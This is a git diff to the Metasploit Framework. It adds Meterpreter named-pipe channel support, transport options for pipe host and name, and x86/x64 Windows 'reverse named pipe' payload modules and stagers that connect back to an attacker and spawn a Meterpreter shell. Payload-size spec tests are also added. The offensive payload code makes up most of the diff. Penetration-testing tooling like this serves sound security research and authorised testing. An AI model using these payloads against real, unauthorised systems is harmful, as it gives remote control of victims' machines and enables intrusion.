+require 'timeout' +require 'thread' +require 'rex/post/meterpreter/channels/stream' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +class NamedPipeServerChannel < Rex::Post::Meterpreter::Channel + + PIPE_ACCESS_INBOUND = 0x01 + PIPE_ACCESS_OUTBOUND = 0x02 + PIPE_ACCESS_DUPLEX = 0x03 + + # + # This is a class variable to store all pending client named pipe connections that + # have not been passed off via a call to the respective server channel's accept method. + # The dictionary key is the server channel instance and the values held are an array + # of pending client channels connected to the server. + # + @@server_channels = {} + + # + # This is the request handler which is registered to the respective meterpreter instance. + # All incoming requests from the meterpreter for a 'named_pipe_channel_open' will be + # processed here. We create a new NamedPipeClientChannel for each request received and + # store it in the respective named pipe server channels list. Named pipes don't behave + # like TCP when it comes to server functionality, so a server "becomes" a client as soon + # as a connection is received. Hence, when a client connects, the client channel wraps + # up the handles from the server channel, and the server creates a new named pipe handle + # to continue listening on. + # + def self.request_handler(client, packet) + return false unless packet.method == "named_pipe_channel_open" + + cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) + pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) + name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) + + server_channel = client.find_channel(pid) + + return false if server_channel.nil? + + client_channel = server_channel.create_client(pid, cid, name) + + @@server_channels[server_channel] ||= ::Queue.new + @@server_channels[server_channel].enq(client_channel) + + true + end + + def self.cls + CHANNEL_CLASS_STREAM + end + + # + # Open a new named pipe server channel on the remote end. + # + # @return [Channel] + def self.open(client, params) + # assume duplex unless specified otherwise + open_mode = PIPE_ACCESS_DUPLEX + if params[:open_mode] + case params[:open_mode] + when :inbound + open_mode = PIPE_ACCESS_INBOUND + when :outbound + open_mode = PIPE_ACCESS_INBOUND + end + end + + c = Channel.create(client, 'stdapi_net_named_pipe_server', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + {'type'=> TLV_TYPE_NAMED_PIPE_NAME, 'value' => params[:name]}, + {'type'=> TLV_TYPE_NAMED_PIPE_OPEN_MODE, 'value' => open_mode}, + {'type'=> TLV_TYPE_NAMED_PIPE_PIPE_MODE, 'value' => params[:pipe_mode] || 0}, + {'type'=> TLV_TYPE_NAMED_PIPE_COUNT, 'value' => params[:count] || 0}, + {'type'=> TLV_TYPE_NAMED_PIPE_REPEAT, 'value' => params[:repeat] == true} + ] ) + c.params = params + c + end + + # + # Simply initilize this instance. + # + def initialize(client, cid, type, flags) + super(client, cid, type, flags) + # add this instance to the class variables dictionary of server channels + @@server_channels[self] ||= ::Queue.new + end + + # + # Accept a new client connection form this server channel. This method does not block + # and returns nil if no new client connection is available. + # + def accept_nonblock + _accept(true) + end + + # + # Accept a new client connection form this server channel. This method will block indefinatly + # if no timeout is specified. + # + def accept(opts = {}) + timeout = opts['Timeout'] + if (timeout.nil? || timeout <= 0) + timeout = 0 + end + + result = nil + begin + ::Timeout.timeout(timeout) { + result = _accept + } + rescue Timeout::Error + end + + result + end + + # + # This function takes an existing server channel and converts it to a client + # channel for when a connection appears. If the server is operating in a continuous + # mode, then it wraps the new listener channel up in the existing server. + # + def create_client(parent_id, client_id, pipe_name) + + # we are no long associated with this channel, it'll be wrapped by another + @client.remove_channel(self) + + client_channel = NamedPipeClientChannel.new(@client, parent_id, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS, pipe_name) + client_channel.params = { + 'Comm' => @client + } + + @client.add_channel(client_channel) + + # we don't own the client any more, so we have to let it go + @cid = client_id + if @cid + # a client ID means that there's a new server channel running that we need + # to bind to as that's the one that's listening. + @client.add_channel(self) + end + + client_channel + end + +protected + + def _accept(nonblock = false) + @@server_channels[self].deq(nonblock) + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb index 937d6d0a03bc8..431d6e31fc526 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb @@ -11,6 +11,7 @@ require 'rex/post/meterpreter/extensions/stdapi/net/resolve' require 'rex/post/meterpreter/extensions/stdapi/net/config' require 'rex/post/meterpreter/extensions/stdapi/net/socket' +require 'rex/post/meterpreter/extensions/stdapi/net/named_pipe' require 'rex/post/meterpreter/extensions/stdapi/sys/config' require 'rex/post/meterpreter/extensions/stdapi/sys/process' require 'rex/post/meterpreter/extensions/stdapi/sys/registry' @@ -70,9 +71,10 @@ def initialize(client) 'name' => 'net', 'ext' => ObjectAliases.new( { - 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), - 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client), - 'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client) + 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), + 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client), + 'named_pipe' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::NamedPipe.new(client), + 'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client) }) }, { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index a3a147ae491c4..7c96c2fa1653a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -96,6 +96,14 @@ module Stdapi TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 +# Named pipes +TLV_TYPE_NAMED_PIPE_SERVER = TLV_META_TYPE_STRING | 1600 +TLV_TYPE_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 1601 +TLV_TYPE_NAMED_PIPE_OPEN_MODE = TLV_META_TYPE_UINT | 1602 +TLV_TYPE_NAMED_PIPE_PIPE_MODE = TLV_META_TYPE_UINT | 1603 +TLV_TYPE_NAMED_PIPE_COUNT = TLV_META_TYPE_UINT | 1604 +TLV_TYPE_NAMED_PIPE_REPEAT = TLV_META_TYPE_BOOL | 1605 + ## # # Sys diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 372324381f954..ca23b1059377e 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -80,12 +80,14 @@ module Meterpreter TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407 TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408 TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409 +TLV_TYPE_MIGRATE_STUB_LEN = TLV_META_TYPE_UINT | 410 +TLV_TYPE_MIGRATE_STUB = TLV_META_TYPE_STRING | 411 TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index aa76f2954e89e..a57df2fd55bb5 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -570,25 +570,27 @@ def cmd_sleep(*args) # Arguments for transport switching # @@transport_opts = Rex::Parser::Arguments.new( - '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], - '-l' => [ true, 'LHOST parameter (for reverse transports)' ], - '-p' => [ true, 'LPORT parameter' ], - '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], - '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], - '-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ], - '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], - '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], - '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], - '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ], - '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ], - '-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ], - '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], - '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], - '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], - '-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ], - '-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ], - '-v' => [ false, 'Show the verbose format of the transport list' ], - '-h' => [ false, 'Help menu' ]) + '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"], + '-l' => [true, 'LHOST parameter (for reverse transports)'], + '-p' => [true, 'LPORT parameter'], + '-pi' => [true, 'PIPEHOST parameter'], + '-pn' => [true, 'PIPENAME parameter'], + '-i' => [true, 'Specify transport by index (currently supported: remove)'], + '-u' => [true, 'Custom URI for HTTP/S transports (used when removing transports)'], + '-lu' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'], + '-ua' => [true, 'User agent for HTTP/S transports (optional)'], + '-ph' => [true, 'Proxy host for HTTP/S transports (optional)'], + '-pp' => [true, 'Proxy port for HTTP/S transports (optional)'], + '-pu' => [true, 'Proxy username for HTTP/S transports (optional)'], + '-ps' => [true, 'Proxy password for HTTP/S transports (optional)'], + '-pt' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'], + '-c' => [true, 'SSL certificate path for https transport verification (optional)'], + '-to' => [true, 'Comms timeout (seconds) (default: same as current session)'], + '-ex' => [true, 'Expiration timout (seconds) (default: same as current session)'], + '-rt' => [true, 'Retry total time (seconds) (default: same as current session)'], + '-rw' => [true, 'Retry wait time (seconds) (default: same as current session)'], + '-v' => [false, 'Show the verbose format of the transport list'], + '-h' => [false, 'Help menu']) # # Display help for transport management. @@ -657,7 +659,7 @@ def cmd_transport(*args) opts[:uri] = val when '-i' transport_index = val.to_i - when '-lu' + when '-lu', '-pn' opts[:luri] = val when '-ph' opts[:proxy_host] = val @@ -681,7 +683,7 @@ def cmd_transport(*args) opts[:retry_wait] = val.to_i if val when '-p' opts[:lport] = val.to_i if val - when '-l' + when '-l', '-pi' opts[:lhost] = val when '-v' opts[:verbose] = true diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 605fe3b6dbc61..657acadba0a05 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -69,8 +69,6 @@ Gem::Specification.new do |spec| # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.1.0' - # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.10' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. diff --git a/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb new file mode 100644 index 0000000000000..a6eb830a7fd41 --- /dev/null +++ b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/meterpreter_loader' +require 'msf/base/sessions/meterpreter_x86_win' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = 957999 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Windows Meterpreter Shell, Reverse Named Pipe Inline', + 'Description' => 'Connect back to attacker via a channel pivot and spawn a Meterpreter shell', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Session' => Msf::Sessions::Meterpreter_x86_Win + )) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), + ], self.class) + end + + def generate + stage_meterpreter(true) + generate_config + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block + config_opts = { + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_named_pipe(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + +end + diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb new file mode 100644 index 0000000000000..da02d055e9ddc --- /dev/null +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/meterpreter_loader' +require 'msf/base/sessions/meterpreter_x64_win' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = 1189423 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Windows Meterpreter Shell, Reverse Named Pipe Inline x64', + 'Description' => 'Connect back to attacker via a channel pivot and spawn a Meterpreter shell', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Session' => Msf::Sessions::Meterpreter_x64_Win + )) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) + ], self.class) + end + + def generate + stage_meterpreter(true) + generate_config + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block + config_opts = { + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_named_pipe(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + +end + diff --git a/modules/payloads/stagers/windows/reverse_named_pipe.rb b/modules/payloads/stagers/windows/reverse_named_pipe.rb new file mode 100644 index 0000000000000..81dd219b89e64 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_named_pipe.rb @@ -0,0 +1,33 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/windows/reverse_named_pipe' + +module MetasploitModule + + CachedSize = 281 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseNamedPipe + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x86 Reverse Named Pipe (SMB) Stager', + 'Description' => 'Connect back to the attacker via a named pipe pivot', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + +end + diff --git a/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb new file mode 100644 index 0000000000000..9fd4d959b90d4 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb @@ -0,0 +1,34 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/windows/x64/reverse_named_pipe' + +module MetasploitModule + + CachedSize = 281 + + include Msf::Payload::Stager + include Msf::Payload::Windows::ReverseNamedPipe_x64 + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse Named Pipe (SMB) Stager', + 'Description' => 'Connect back to the attacker via a named pipe pivot', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + +end + + diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 633b712c598ec..aa4ba379fa21e 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2721,6 +2721,16 @@ reference_name: 'windows/meterpreter_reverse_ipv6_tcp' end + context 'windows/meterpreter_reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/meterpreter_reverse_named_pipe' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter_reverse_named_pipe' + end + context 'windows/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2874,6 +2884,17 @@ reference_name: 'windows/meterpreter/reverse_ipv6_tcp' end + context 'windows/meterpreter/reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_named_pipe', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_named_pipe' + end + context 'windows/meterpreter/reverse_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3833,6 +3854,17 @@ reference_name: 'windows/x64/meterpreter/reverse_https' end + context 'windows/x64/meterpreter/reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_named_pipe', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_named_pipe' + end + context 'windows/x64/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3917,6 +3949,16 @@ reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp' end + context 'windows/x64/meterpreter_reverse_named_pipe' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/x64/meterpreter_reverse_named_pipe' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter_reverse_named_pipe' + end + context 'windows/x64/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [